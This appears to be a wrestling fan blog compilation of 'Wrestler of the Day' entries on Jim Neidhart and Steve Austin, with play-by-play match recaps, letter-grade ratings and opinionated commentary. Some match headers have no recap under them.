Wrestler of the Day – October 8: Jim Neidhart

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No Hart Foundation as you would expect.

Jim Neidhart vs. Tom Lentz

Neidhart goes right after Lentz and the dominance begins. A Samoan drop ends this quick.

Davey Boy Smith vs. Jim Neidhart

From the same building in September of 85 and I’d guess maybe the same show. Neither guy can get a power advantage so Davey rethinks his attacking method. Both teams are chasing the less talented Dream Team at this point. We get a Stu Hart sex joke of all things. Gorilla wonders how he had time to teach any wrestling since he had thirteen kids. I’ll be over here trying to clean that image from my mind if you need me.

Bulldog takes him to the mat and outworks him. As you may have guessed, Anvil isn’t the best technician in the world. Anvil uses power but gets caught by a dropkick as we stop things again. Off to a top wristlock here but Anvil drills him in the ribs to take care of that. The fans think this is boring so Neidhart stops the wrestling stuff to yell at them a bit. He never was the smartest guy in the world.

Smith is sent to the floor so Anvil follows him out. Into the railing goes the Bulldog and Smith is in trouble. Back in now and it’s all Anvil. Smith fights back and hits a back elbow to take Neidhart down. Hayes is either drunk or really bad at his job. It’s so hard to tell. We hit the chinlock again and Anvil is like screw that and breaks it up. Anvil gets something like a slingshot into the buckle and puts his feet on the ropes for the cheap pin.

Rating: D. Boring match here with no chemistry at all between these two. The power vs. power rarely works which is why both guys had a speed/technical guy as his partner. Also, why in the world are we seeing Anvil get the win here? Was that really the best thing to do on a British Bulldogs’ tape? I don’t get it.

Scott McGee vs. Jim Neidhart

How in the world are we over 45 minutes into this show? Alfred, the Englishman, gets Scotland and England confused. Egads to say the least. Jimmy has a new Megaphone it seems. McGee grabs a rollup for two to surprise Neidhart. Test of strength goes well for Anvil as he bites away. McGee gets sent to the announce table as this is another boring semi-squash.

Jimmy says the Harts are splitting into singles matches at the moment because there’s no challenge for them at the moment because they have to beat the Bulldogs first. The match more or less stops for a bit as Gorilla and Jimmy chat. Jimmy has managed to get a siren sound effect on the Megaphone. Neidhart drops McGee throat first to the railing to really take over.

Hayes might be a guest referee for some reason and he says he’ll suck. Ok then. All Anvil here as we’re firmly into the squash territory. Since the match is dull, let’s talk about Piper vs. Mr. T. McGee blocks a suplex into one of his own and down goes Anvil. Some European uppercuts by McGee but a powerslam ends this rather quickly. Guess who won.

Rating: D. Just a squash here as Anvil dominates again. We’re over 50 minutes into this match and they really need to get to something good already. I mean dude, the big match so far has been Sivi Afi vs. Rene Goulet. I’m not sure why the fans haven’t rioted yet but it seems to me like it’s because they’re very patient. Get to something of note, I beg of you.

Hart Foundation/Danny Davis vs. British Bulldogs/Tito Santana

Back to the singles action at Wrestlefest 1988.


Jim Neidhart vs. Lanny Poffo

This was when Poffo was still a leaper and threw out Frisbees with his poetry on them. He was the king of jobbers at this point though so if nothing else he’s not bad. I think his brother would be up next. He uses a moonsault which misses but was a big spot back then as he was the first WWF guy to use it I believe. I think Jim is a heel here but it’s not entirely clear. The crowd is totally dead here. After just beating the tar out of Poffo a powerslam ends it.

Off to a higher profile match on SNME XXI.

Jim Neidhart vs. Randy Savage

Ok seriously, who is Savage fighting tonight? This joke has gone on long enough. Who is Savage really fighting? Nothing against Anvil as he’s fine, but dude, this is RANDY SAVAGE and it’s less than 2 months since his year long title reign ended at Wrestlemania. Why is Anvil out there for this? It just doesn’t make anything resembling sense at all.

They’re making this out to be Savage vs. Bret circa 1992. When did Anvil and Hogan become buddies? Sherri grabs the leg of course and it does nothing of note. Neidhart hooks a bearhug as I’m not even sure what I’m watching. Again, it’s not bad. It’s just odd. We get a great piece of insight from Vince: Sherri is a different human being than Liz.

You mean, they don’t just put different wigs and outfits on them and hope we don’t notice? THANK YOU OWNER OF THE COMPANY! Sweet goodness she’s freaky looking. Anvil gets a BIG kick out, likely throwing Savage high enough in the air that he could have hit the top rope. That’s borderline Yokozuna levels. Anvil gets a slingshot shoulder block which would freaking HURT.

Notice the cameras always getting shots of Sherri’s back. It’s clear Vince was running the company back then given what we know now. This is more or less ALL Anvil here. Sherri unhooks Anvil when his arms are tied up and it lets Savage reset the universe to its natural order as he takes over. Wow that was a long sentence. The elbow finishes soon after.

Rating: B-. This was WAY better than it had any right to be. I don’t think anyone was idiotic enough to think that Anvil was going to win, but still it was nice to see him get in such a long stretch of offense and have time being in control. This was a decent enough match and it got Sherri over as a threat to Savage’s opponents, which was the point here. Not bad at all.

Jim would be in back to back Survivor Series matches starting in 1989.

Ultimate Warriors vs. Heenan Family

Ultimate Warrior, Jim Neidhart, Rockers

Andre the Giant, Arn Anderson, Haku, Bobby Heenan

And again at Survivor Series 1990.

Million Dollar Team vs. Dream Team

Ted DiBiase, Rhythm and Blues, ???

Dusty Rhodes, Koko B. Ware, Hart Foundation

Undertaker and Bret start with Taker pounding the tar out of him. Well if you want to make someone look like a killer, call Bret Hart. Bret hits the ropes and charges at Taker, only to get caught by the throat and slammed down. It was more like a clothesline that Taker went to the mat with than the usual chokeslam here but he did have Bret by the throat.

Ric Flair vs. Jim Neidhart

Neidhart, in the big blue pants, runs Flair over with a shoulder to start and no sells some shots in the corner. A backdrop and some clotheslines have the same effect on Flair but he avoids a running knee in the corner. The leg gets wrapped around the post a few times and Flair gets two off a cross body. The Figure Four goes on and the match is stopped pretty fast.

Neidhart would hook up with Owen Hart in a short lived tag team, including this match at Royal Rumble 1992.

Orient Express vs. New Foundation

Neidhart actually did a few shows with WCW, including on Saturday Night on May 1, 1993.

Jim Neidhart/Junkyard Dog vs. Rip Rogers/Chick Donovan

A headbutt sends Rip out to the floor and it’s off to Anvil for hiptosses to both guys. We hit the armbar on Donovan before it’s back to Dog for a slam. An atomic drop sends Donovan into another slam and there’s a headbutt onto the arm. The Big Thump powerslam sets up a cobra clutch from Anvil for the submission.

Neidhart would head back to the WWF as a heel for some Hart Family matches, including this one on October 19, 1994.

Bret Hart/British Bulldog vs. Owen Hart/Jim Neidhart

Ok, this HAS to be good right? Bret is world champion here so this is probably around August of 94 as that was the top feud around that time. Still in Albany and likely at the same show. Apparently this was October 19, 1994. I’ve always wondered which shows they picked to film and how they were chosen. Bret and Owen start so we’re guaranteed a good start at least. Granted after that last match anything sounds great.

I love Owen celebrating while doing absolutely nothing. Lots of chain wrestling to start as you would expect. Bret works on the arm and gets a crucifix for two. They speed it up a bit and Bret gets a clothesline to put Owen on the floor. Back in and Bret taunts Neidhart, saying he wants the Anvil.

Now here’s a match I don’t think I’ve ever seen. Bret tries his usual stuff but Anvil catches him in a bear hug. Hart bites Anvil’s head to escape and it’s time for power vs. power. Ok never mind as it’s time for Owen vs. Bulldog. They’re getting in and out of there rather fast. Stan Lane continues to be underrated at the announce table. Owen gets caught in the semi-delayed vertical for two.

We hit the chinlock again even though I thought we had hit the quota of chinlocks in the first match. Spinwheel kick puts Bulldog down for two and it’s back to Anvil who puts on a chinlock of his own. The fans are chanting for Owen actually. Owen comes in again and drills Bulldog with some European uppercuts in a nice bit of irony. Shawn Killer Kick makes Smith flip forward and the double teaming commences.

Neidhart back in there now as the heels are working well together here. Bret chases Owen but the referee stops him. This stopping though allows the New Foundation (Owen and Neidhart of course) to hit a Hart Attack on Bulldog for two. Neckbreaker by Owen gets two and we hit the chinlock one more time. This is very much a stop and go kind of match as they’ll get going and then stop for a chinlock etc.

Bulldog fights up and they hit head to head. There’s a tag to Hart but Neidhart had the referee distracted. Heel miscommunication puts Anvil down and there’s the tag to the champion. He beats up both guys while Bulldog just watches on. What a nice partner he is. Russian Leg Sweep gets two on Owen and it’s Five Moves of Doom time. He actually gets the Sharpshooter but Neidhart makes the save. Off to the Bulldog again and everything breaks down. Bulldog gets a small package, Neidhart turns it over, Bret turns it over again and Bulldog pins Owen to end it.

Rating: B-. If you cut out a lot of the rest holds and give it a bit better ending then this would be a much better match. Still though not a bad match at all and I thought it was pretty good. With these four it’s hard not to have a good match. Neidhart was the worst of these four but he’s certainly watchable in the ring. Decent match but could have been much better.

WWF World Title: Bret Hart vs. Jim Neidhart

Bret fights out of the corner but charges into a bearhug to slow things down again.

Hart slingshots him back in though and hammers away before getting two off a small package. We hit the Five Moves of Doom but Neidhart gets a boot up to stop the elbow. Bret gets slammed off the top but avoids a splash, setting up the Sharpshooter to retain.

Hart Foundation vs. Sid/Legion of Doom

The Harts here are Owen, Jim and Davey, giving us a total of one Hart in the entire Foundation for this match. I love stupid things like that. Why do I have a feeling the heels are going to win and win easily here? This is being written about 3 days after Bret signed with WWE again, so this is very interesting indeed. There’s a sign in the crowd about cheese for no apparent reason.

The faces come out separately which is rather pointless. The LOD get a decent pop but you could tell their time was about over. This takes FOREVER to get going as we get an LOD chant. It’s Owen and Animal to start us up. Hey, call the Superstar line and run up the phone bill to hear bad promos! More or less all we have here is random power matches as five guys in this match are power guys, and no one saw anything wrong with this.

Also, no one saw a problem with putting THE FREAKING LOD AND SID together as a three man team against two good wrestlers and a generic power guy in Anvil, and yet they had the NERVE to wonder why they were having their heads handed to them. Anvil was a political science major at UCLA. All of a sudden my future seems far more bleak. Seriously, who in the WORLD thought Anvil vs. Hawk was a good idea?

You have two guys that have made a career out of not getting hurt. Just as I type that, Hawk takes a piledriver and of course is up before anyone else. Owen comes in and goes insane. Dang how good could he have been as a veteran? Imagine him vs. Angle or Jericho in 2000-2001. Owen would have been in his late 30s then and definitely capable of working well. He’s two and a half months older than Shawn, so it’s completely realistic that he could still be wrestling and having very good matches today.

He EASILY would have won the world title in there somewhere given the absolute awfulness of some of the champions since then. I mean seriously, who would have been better as champion: Owen or Khali? Anyway, this match is just BAD. Yeah, the match ends and I’ve got nothing at all. Owen wins with a top rope sunset flip. Sid would be gone either the next night or in 8 days.

Rating: F. Seriously, WHO THOUGHT THIS WAS A GOOD IDEA??? This fails for reasons that I’ve already given. Owen and Animal were ok, but that’s it. This was just pathetic.

ere’s an elimination match at Survivor Series 1997.

Team USA vs. Team Canada

Vader, Steve Blackman, Marc Mero, Goldust

British Bulldog, Jim Neidhart, Doug Furnas, Phillip Lafon

Due to what happened later in the night, Neidhart would head over to WCW for a bit. Here he is on Nitro, March 30, 1998.

Curt Hennig vs. Jim Neidhart

IWGP Tag Titles: Tenzan/Masahiro Chono vs. British Bulldog/Jim Neidhart

Chono comes back in and goes after Davey, allowing the champions to double team Neidhart a bit. Jim comes back with a hard forearm to Chono and makes the hot tag to bulldog. House is cleaned and the powerslam puts Tenzan down, but Chono hits Davey with the belt for the DQ.

Dancing Fools vs. Jim Neidhart/British Bulldog

Why in the world Neidhart was hired is beyond me but whatever. The Dancing Fools are Disco Inferno and Alex Wright. Wright vs. Bulldog to start. The Hart relatives are the faces here I guess. The stalling begins and Bulldog backs him into the corner. Gorilla press slam puts Wright down and its a double tag. Disco dances around a lot and Neidhart makes fun of him for it.

Disco actually takes him down and Tony is STUNNED. Off to Wright and Bulldog again with the dancers taking over. The announcers talk about WarGames mostly because the match isnt that interesting. I mean seriously, Jim Neidhart is on PPV in 1998. Why in the world is that happening? Disco hits an atomic drop but is sent over the top with ease. Its not a DQ so hopefully they got rid of that idiotic rule.

Apparently Bret has been teasing turning….still heel I guess as he screwed Hogan over on Nitro kind of. The Hart dudes take over as Heenan picks Piper for the main event. The fans want Flair again. Slingshot shoulder block misses for Jim though and heres the tag to Wright, who is apparently popular now. Wright cleans up a bit and double teaming breaks up the powerslam. Double clothesline puts down Bulldog. The referee goes down for a bit and the powerslam ends Disco clean.

Rating: D+. Just a tag match here but it had Jim Neidhart in it in 1998. Again, I don’t think that requires much more of an explanation. The announcers were bored with it because this belonged on WCW Saturday Night or something like that. Not a fan of this one at all but it wasn’t horrible I guess.

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Wrestler of the Day – September 29: Steve Austin

WWF World Title: Steve Austin vs. The Rock

The main event of the biggest Summerslam ever in 1998.

WWF World Title: Undertaker vs. Steve Austin

Kane pops up at the entrance but Undertaker tells him to go back. The brawl keeps going but Austin goes to the floor to make sure Kane is gone. A somewhat sloppy chokeslam brings Austin back in but he clotheslines Taker to the floor. They fight into the crowd with Taker backdropping Austin onto the concrete. Back to ringside with Austin being rammed back first into the post, making JR scream that Austin may be paralyzed. That would be two years in a row if true.

Off to the match that really made Austin a big star. From Survivor Series 1996.

Steve Austin vs. Bret Hart

Austin escapes a backbreaker with a rake of the eyes as momentum shifts again. Bret gets sent to the floor and Austin just pounds on him with forearms and punches. Austin rams him back first into the post as the attacks shifts to the back. Bret comes back by sending him into the barricade, breaking the thing apart. They head into the front row and knock the barricade over. Austin is in trouble again and Bret chases him to the other side of the ring.

US Title: Ricky Steamboat vs. Steve Austin

In a month, Austin will be jobbing the title to Duggan in 27 seconds and Steamboat will be gone. Yeah taking Austin, who is cursing a lot around this time, and Steamboat who is still good in the ring and replacing them with a WWF jobber to the stars that was one of Hogan’s friends had NOTHING to do with Hogan. Neither does Orndorff or Beecake getting pushes. Not a thing at all.

Steamboat is more or less Shawn Michaels at this point, as he’s much older and a title means nothing to him as his name is far more than enough to get him by and over with the fans and he can wrestle with anybody and get a good match out of them. It’s so weird hearing these two talk about Austin. That name just sounds wrong coming from them. Heenan says he went back to Hogan’s dressing room and said there had to be 500 people there.

Now this is stupid for one reason or another. First of all, I don’t think WCW had 500 employees in a year, and two, the fire marshal could shut the show down if that’s the case. Third, HOW BIG IS HIS DRESSING ROOM? It’s not like he’s Dusty Rhodes and his fat needs a building to hold it. Austin has Dragon Slayer on the back of his tights. Steamboat just kind of falls out of the ring. It looked very odd.

You know, I find it amusing that Bischoff said that Austin was unmarketable as he was. He’s cursing, lying, cheating and wearing black. This is just amusing stuff. The fans boo the arm work. SCREW THEM. This is why wrestling died. The fans weren’t booing when Hogan was nowhere in sight, but we put Hogan in there and all of a sudden psychology and actual wrestling go out the freaking window, because we can’t have anyone under 6’5 and under 275 have a good match right?

We can’t have a guy wrestle a 45 minute match or anything like that. Tony and Heenan talk about seeing Flair and Steamboat going for an hour or an hour and a half and I drool over the thought. It’s very sad to realize that probably 75% of the fans in the world today would call Flair vs. Steamboat and their trilogy of epics in 89 a boring series.

Today there’s a complete hatred of psychology and a disdain for anything that goes on longer than ten minutes or so because the fans can’t keep their interest in a show that long. Take this match for example. It’s been psychology based and mainly about them not being able to stay in control. It’s been a great match but of course the fans are booing it because it’s slow paced and it’s building to a climax and is (allegedly) making Austin into a big deal.

That of course doesn’t happen because Jim Duggan needed to get a push and a three month run with the US Title. Why? DO NOT QUESTION HULK HOGAN! Austin hits the STUN Gun, his finisher, for two and then tries to throw Steamboat over the top, which would be a DQ, but it’s Ricky Steamboat so he skins the cat and is back inside.

That and the nip up are just amazing moves to pull off. Austin sets for a tombstone and it’s reversed which is reversed which is reversed and Steamboat gets it. The fans are INTO THIS now. See what happens when you HAVE PATIENCE??? They somehow crank the speed up and Steamboat hits a cross body and Austin rolls through and the ropes get him the pin and keep the title on him. The last four minutes or so were freaking amazing.

Rating: A-. AWESOME stuff here, as they went back and forth for twenty minutes and somehow cranked it up about ten notches for the finish. This right here is an example of what WCW was about before Hogan showed up: two guys out there with a good amount of time having a great wrestling match.

Hmm, now where have I heard about matches like these before? Matches where they start at the bell and go hard all the way to the end. You might say it’s action that goes for the total match with no stops at all. Yeah that can’t happen though. WE WANT LEGDROPS AND YELLOW TIGHTS BLAST IT IT!!!

Steve Austin vs. HHH

First is a regular match, second is street fight, third is cage. MASSIVE pop for Austin, but the crowd has been white hot all night. I’m surprised that this is in the middle of the card but you know it’s going to get some time. Maybe they want to do this so the crowd isn’t spent at the end? Naturally it’s a slugfest to start. Mudhole is stomped 30 seconds in. Big old AUSTIN chant as he dominates early on.

Modified hot shot to take down Austin though as this is fast paced for the most part. Pedigree is blocked into a DDT on the arm which I need to learn the name of. We head to the floor as Austin works the arm. This is a regular match but Austin ramming HHH’s arm into a post about 6 times is perfectly fine? HHH can’t do the Pedigree because of his arm, which is SELLING! Simply shaking your arm is passable, but having it prevent you from doing your moves is SELLING.

Thesz Press and Austin is dominant so far. HHH gets his foot up when Austin is coming off the ropes, but for once Austin actually has his arms up to look like he’s doing a move. I hate when people just jump into it for the sake of jumping into it. Neckbreaker takes HHH down but it doesn’t do much due to the weak arm.

HHH goes after the knee which is Austin’s weak point as well. He goes for the leg into the post thing but Austin counters and HHH and the nose of doom hit the post. Back to the knee as HHH takes over with a figure four. Austin gets out and does a nice move where he gets HHH n the mat and beats on him with his leg. Cooler than it sounds. Thesz Press and the elbow get two.

Everyone counters everything and we slug it out. HHH gets a kick to the knee and goes to the middle rope. He jumps into the boot though and Austin hits the Stunner for the completely clean pinfall.

No rest period between falls and we’re right back at it again. It’s a street fight now and we hit the floor. Austin’s knee is ok I guess as he hits some suplexes on the floor. Monitor connects with HHH’s head and apparently it’s broken. Naturally we head into the crowd and it’s all Austin. Back in the ring and Austin destroys HHH Rock-Style with a chair.

After nearly murdering HHH we head back to the floor where Austin finds a 2×4 wrapped in barbed wire for no apparent reason. A low blows allows HHH to blast him in the face with it though and Austin is bleeding. HHH sets for the Pedigree on the table but Austin counters and sends him through the other table which EXPLODES. Awesome stuff so far if you can’t tell.

Back in the ring a bell shot (Austin brought it in earlier) gets two for HHH. This is a war with both guys hitting all these big shots out of desperation. Back to the neck with a neckbreaker onto the chair for two. Backdrop by Austin sends HHH free falling over the top. Cool looking drop. More weapons stuff on the floor but the intensity and selling is making it work.

You can barely hear Lawler here as his mic is messed up or something. HHH finds a sledgehammer and Lawler accuses JR for putting it there. Back in the ring again and a Stunner is blocked by a sledgehammer shot to Austin’s head. Pedigree follows that and thankfully that ties us up at 1-1. I would have rolled my eyes very heavily if Austin had kicked out of that.

The cage is lowered as we get a quick break. It’s been about 30 minutes so far and nothing but awesome. Austin is more or less dead and eats the cage again. HHH gets the barbed wire 2×4 and rips Austin’s face open a bit more with it. The sledgehammer and at least one chair are also in there with them. Make that two chairs, one of which saves Austin as he blasts HHH in the head with it.

HHH gets it in the face (I would have thought that would have been Stephanie but whatever) for a long time but gets a DDT out of desperation onto the chair but it only gets two. The crowd is a bit silent but it’s pretty clear that the fans know nothing is going to end without something huge. Austin comes back and goes OFF on HHH who just collapses face first out of the corner.

Game tries to bale but he Austin makes two saves, culminating with an old school slam off the top rope. Stunner is blocked but the Pedigree hits for TWO. The place erupts on the kickout and HHH is shocked. Another is blocked and HHH gets hit with a slingshot into the cage. Stunner hits and both guys are out. After the break Austin covers for two as this is awesome. HHH gets the hammer and Austin gets the 2×4. Both swing with everything they’ve got and connect, but HHH falls on Austin for the pin. I think I need a cigarette.

Rating: A+. Without question, this is awesome. Any of the three falls is great to say the least and the ending was perfect. Both guys are protected but not in a way that makes it look like they’re being protected. HHH got lucky and won it, as Lawler says that it’s not fair to say either guy really won. Just an absolute WAR with these two beating the living tar out of each other and making the crowd love every minute of it. With 40 minutes of these two beating each other to death, how is it not a perfect match?

WWF World Title: Bret Hart vs. Vader vs. Steve Austin vs. Undertaker

Sid is watching in the back as Vader puts Bret in a Sharpshooter of all things on the floor. Austin breaks it up for no apparent reason so Bret goes after Steve in retaliation. Undertaker pounds on Austin but Bret wants some of the dead man, allowing Austin to hit the Thesz Press on Vader and fire off even more right hands. Undertaker goes after Austin but Bret drops Undertaker, leaving Hart as the only man on his feet. Vader hits a nice clothesline on Undertaker as Bret hits a good looking piledriver for two on Austin.

WWF World Title: The Rock vs. Steve Austin

The Corporate one comes back by sending Austin into a camera and clotheslining him down. We shift momentum again with Austin slamming rock down on the concrete and whipping him into the steps back at ringside. Back inside and Austin stomps away in the corner, only to be reprimanded by Shane. The distraction lets Rock charge at Austin and get backdropped up and over to the floor in a big crash. Austin loads up a piledriver through the Spanish announce table but gets countered into a Rock Bottom instead.

Both guys are down with Shane telling Rock how excellent that was. Rock gets on Spanish commentary and calls Austin trash (in English) as Shane throws him a chair. Austin kicks him in the ribs to block the shot and they head back into the crowd for another clothesline to the champion. A low blow keeps Austin in trouble and Rock lays him across the announce table before taking over a camera for more comedy. Rock looks out at the crowd but pans back to Austin flipping him off and hitting a Stunner through the announce table. Nice idea there.

Intercontinental Title: The Rock vs. Steve Austin

Steve Austin vs. The Rock

WWF World Title: Steve Austin vs. Mankind

Brisco gets a similar introduction and takes time to point out the Brisco Brothers Body Shop sign painted on one of the cars, which gets a full ad from Patterson, complete with address and phone number. Vince gets a speech fitting of a president as this is hilarious stuff. Love is called “the cat that makes the kittens purr.” Patterson refuses to introduce a bum like the champion. Vince tells Austin to hand him the belt but Undertaker comes out to keep watch on everything. The entrances are literally over twelve minutes long.

for one heck of a souvenir.

They head outside again with Love throwing Austin over the announce table. Patterson reminds us that this is No DQ as the rule changes continue. They fight into the crowd with Austin clotheslining Love over the barricade. JR is in his element here, shouting about how Love is nearly dead. Austin misses a charge into the ropes and crotches himself, allowing Love to baseball slide him to the floor. A bad looking swinging neckbreaker on the concrete is enough for Patterson to remind us that this is also falls count anywhere. JR: “SINCE WHEN???”

One TV match and one of the best tag team matches ever. From Raw, May 21, 2001.

Tag Titles: Steve Austin/HHH vs. Chris Benoit/Chris Jericho

Here we go. Austin vs. Jericho gets us going and one of the belts is laying in the ring. Austin takes over with pounding boots but Jericho snaps off a cross body for two. A top rope elbow to the head scores for Jericho and he works on Austin’s arm. HHH comes in and the Canadians take over. Benoit chops Austin HARD and then hits a snap suplex for no cover. There’s a superplex for two as HHH saves.

Jericho comes in to even things out but it lets the champions take over. Benoit is like screw that and pounds them back, hooking the Crossface on Austin. HHH comes in with a big chair shot to break it up but Benoit kicks out to a big pop. Benoit goes into the steps for no count as he kicks out before the one. Austin pounds away on him and it’s off to HHH who hooks a cheating abdominal stretch.

Make that a sleeper as Benoit is in big trouble. Benoit manages to fire off a suplex to put both guys down and an enziguri is good enough for the hot tag to Jericho….but the referee doesn’t see it. The fans don’t like that at all. Jericho goes off with Austin on the floor as HHH hits the Pedigree. There’s no referee though so Jericho goes up and takes HHH’s head off with a missile dropkick.

There’s your hot tag to Jericho and he takes on the now legal Austin and HHH at the same time. Thesz Press is countered into a spinebuster and then the Walls but HHH makes the save. That right there, that save, resulted in HHH tearing his quad off the bone and would put him out of action until January of 2002. You could see HHH’s leg just stop moving. His leg is dead weight now.

HHH is like screw this potentially career ending injury and goes to set up the announce table. HHH loads up the Pedigree but Jericho counters into the Walls on the table, and remember that HHH has a torn muscle. FREAKING OW MAN!!! Benoit hits the swan dive on Austin but there’s no referee. Stunner to Benoit gets two as Jericho pulls the referee out. Lionsault gets knees and HHH finds the sledgehammer from somewhere. The second Lionsault hits but the hammer hits Austin and Jericho gets the pin and the titles as the place erupts!

Rating: A+. WOW this match holds up really well. After Jericho gets that hot tag, this is full speed ahead the rest of the way. The energy in this is great as they did everything they could to keep the Canadians down but in the end, HHH messes up to end it. Notice one very important thing here: Jericho had Austin (presumably) beat with the Lionsault, so it’s not like they got dominated the entire time and won on a mistake by the other team. That’s huge and it makes Benoit/Jericho look far stronger as the new champions.

WWF World Title: Steve Austin vs. The Rock

They fight over to the announce table with Austin coming back with a bell shot to the face. Rock is knocked onto the announce table which breaks a few seconds later. We head back inside for Austin to pound away to even more pops from the crowd. Rock comes back with right hands but Austin drops both him and a leg for two. Rock is busted open and Austin chokes away in the corner. Austin stops to yell at the referee and gets his head taken off by a lariat from Rock.

Vince and Austin shake hands, officially ending the Attitude Era. Beer is consumed and Rock is hit with the belt one more time for good measure.

The only time they ever met on pay per view. From In Your House XXVII.

Vince McMahon vs. Steve Austin

Austin hits a quick clothesline and a middle rope elbow before going to leave, but Vince makes the eternal mistake of flipping Austin off. Steve climbs back inside and stomps a mudhole in the corner. Somehow Vince fights out with a low blow to get himself a breather before climbing up the cage. Austin pulls Vince down off the cage and leaves him in a heap. The boss is busted open and Lawler is losing his mind.

King of the Ring Finals: Steve Austin vs. Jake Roberts

The IWC explodes as Pillman and Austin pass each other in the aisle and pause for a second. Good night they were a great team in the time they had. Austin apparently went to the emergency room to fix his tongue. I think that’s legit actually. Jake’s music is just made of awesome. Austin jumps him to the shock of no one. This is all Austin as Roberts is barely even able to move let alone fight.

Here’s his token comeback as it’s fairly obvious that Austin is winning here. Vince says Austin is being a coward for attacking the injured ribs. Owen says Austin is smart to do so, which at least makes sense. Monsoon is out here now and Vince is more or less saying Austin doesn’t deserve to win. It’s not his fault that Vader beat up Roberts.

With Monsoon checking on Roberts it lets him breathe a bit and he beats on Austin for a bit but Austin counters with corner shoulder blocks of all things. Geez Austin was a different kind of wrestler back then. Austin hits the academic stunner to get the win and the crown.

Rating: N/A. It was 4 and a half minutes which includes Monsoon coming down.

However, the most important part is right afterwards: the coronation. Austin says the catchphrase that made him a legend: Austin 3:16.

To quote Jim Cornette from Monday Night Wars, “Steve Austin was gonna be a big deal. Nobody knew how big.” That was the debut of both the 3:16 catchphrase as well we that’s the bottom line cause Stone Cold said so. It’s not often that you get two major lines like that in one promo but Austin did it. You have to remember that on the big stage, there had never been anything like Steve Austin before.

Everything before had been about the basic ways and standard storylines. The problem was that everyone got sick of it. People got tired of hearing about how great the faces were and etc. That’s why Austin called out Hart: he wanted the purest wrestler there was. Austin represented this unspoken hatred that the fans had towards the old ways that Vince was so desperately clinging to.

He refused to accept that the fans that were children in the 80s had grown up but still had a love for wrestling and wanted to see it. The problem was that these fans were now fifteen and sixteen or even older and the things that fascinated them at seven or eight now looked stupid. That audience was fed up with these stupid angles but there was nothing they could do.

Then Steve Austin showed up. He said everything that the fans wanted to say but couldn’t. The fans rode Austin into greatness, as he became hotter than Hogan ever dreamed of being for a two year period. Yeah I said it. I’ve said it before and I’ll say it again: in the late 90s, Austin was a bigger star and far hotter than Hogan ever was during his career, period.

Another TV match and a forgotten gem. From Raw on January 8, 2001.

WWF World Title: Kurt Angle vs. Steve Austin

Not a bad main event at all. They keep saying it’s been a year since Austin had a legit shot at the title. More like a year and a half as he didn’t have a straight up title shot after Summerslam 99 that I remember and he was out for all but the tail end of 2000 where he didn’t get a one on one match for the title. Austin grabs the belt to start and we have no commercials to go. That’s always awesome.

Stone Cold dominates to start with Kurt being in big trouble early on. Austin goes for a suplex off the middle rope but Angle throws him forward and Austin’s head SMACKS the mat in a hard looking shot that was mostly legit. Thesz Press hits out of nowhere to get Austin out of trouble. As I’ve said before: when all else fails, HIT THEM IN THE FACE! Austin gets all suplex happy but can’t break two on the counts.

They speed things up again and Angle gets a cross body (???) for two. They head to the floor and get their brawl on, which is stupid speak for Austin beats the tar out of Angle. Regal pops up out of nowhere with a pipe but can’t get it to connect on Austin. Austin fights off both guys and sends Angle into the crowd where he hits a flying clothesline (??? Again) to half kill Angle.

Somehow that and the beating before that only gets two every time. This has been a pretty solid beating to Kurt so far. In an impressive looking spot Angle throws his hands up to block Austin’s double axe off the middle rope and pops him over with a PERFECT belly to belly overhead. Take that Scott Steiner. Angle goes suplex crazy again, probably breaking ten of them or so.

Somehow that wouldn’t be anywhere close to his record as later this year he would sink in the Rolling Germans and get up to 12 in a row with no break. All these suplexes only get him two so Angle suplexes him again. Austin can’t slam him which looks odd indeed. Nice selling on the suplexes I guess. Angle Slam is blocked though and a knee lift sends Angle down as well as Austin.

Angle gets all ticked off and they slug it out as Austin has to use the ropes to hold himself up for awhile. Austin slugs him into the corner and there’s the Mudhole Stomp. Spinebuster and a middle rope elbow gets no cover as it’s Stunner time. It’s blocked twice as is the Angle Slam but after the Stunner finally hits it’s HHH to return for the save and the DQ. JR of course, loses his mind over it and curses HHH’s soul.

Rating: B+. Where in the world is this on DVD packages? This was great stuff and it came out of nowhere more or less. Austin was so underrated in the ring because of how great he is on the mic and this is another fine example of that as he went out there and beat the tar out of Angle. That being said, Angle was putting on a clinic in there and the whole thing just worked to near perfection. It’s not as good as their later stuff, but this is a good match that needs to be released somewhere. I’d watch it again just for the suplexes.

Austin flips HHH off and says bring it. HHH backs off and then comes at Austin with the big slow build. He gets in the ring and you keep waiting on him to bail but instead IT’S ON! They slug it out and with the extended build to the fight it’s awesome stuff. Austin is in trouble for awhile but fights him back until they hit the floor. HHH gets the pipe Regal had earlier and DRILLS Austin with it three times to bust him open and put him down to end the show. GREAT ending segment with an awesome brawl that felt absolutely huge.

WWF World Title: Shawn Michaels vs. Steve Austin

We get the famous line from JR of “The Austin Era has begun!” as Austin gets the belt for the first time. He poses on the ropes in another famous visual before handing Tyson an Austin shirt. Shawn is ticked off at Tyson and gets in his face so Tyson lays him out with a right hand (JR: “TYSON! TYSON! TYSON! RIGHT HAND! DOWN GOES MICHAELS!”). Massive celebrating ends the show.

Steve Austin vs. Bret Hart

Austin rolls out to the floor but Bret takes the opportunity to send the knee into the steps. Back in and Austin scores with a quick low blow before choking away on the mat. A middle rope elbow misses and Austin bangs the knee again to stop another comeback bid. Bret suplexes him down and puts on a Figure Four to keep the pressure on the leg. Austin eventually rolls over to break the hold but stops to yell at the referee for some reason, allowing Bret to kick the knee out again.

We recap Bret vs. Austin which is the real main event of this show. So Bret was all awesome and such but after losing the title at Wrestlemania last year, Bret took six months off to whine. Then he came back and felt that he kept getting screwed over by everyone from Shawn to Austin to Vince (nah that could never happen). Austin was leading the charge of disrespect by saying Bret was just a crybaby anymore. This led to a masterpiece between Austin and Bret that made everyone realize Austin was for real and the next big thing.

Hart barely won but he kept snapping and even hit Pat Patterson, the symbol of respect and tradition. This led to the Royal Rumble where Bret had the match won and eliminated Austin, only to have Austin sneak back in and win the match. A month later Bret won the vacant world title, only to have Austin cost him the belt the next night on Raw. This all led up to here and a submission match with the theme of a submission master vs. a guy that will not quit.

Steve Austin vs. Bret Hart

This is a submission match and Ken Shamrock is guest referee. Austin has actual glass shatter as he enters which is rather cool. He gets cheered but Bret gets something resembling a mixed reaction. Austin tackles him down to start and the fight is on immediately. They head to the floor with neither guy being able to get an advantage. Austin gets posted but he manages to crotch Bret on the barricade. Bret gets clotheslined into the crowd as this is all action so far.

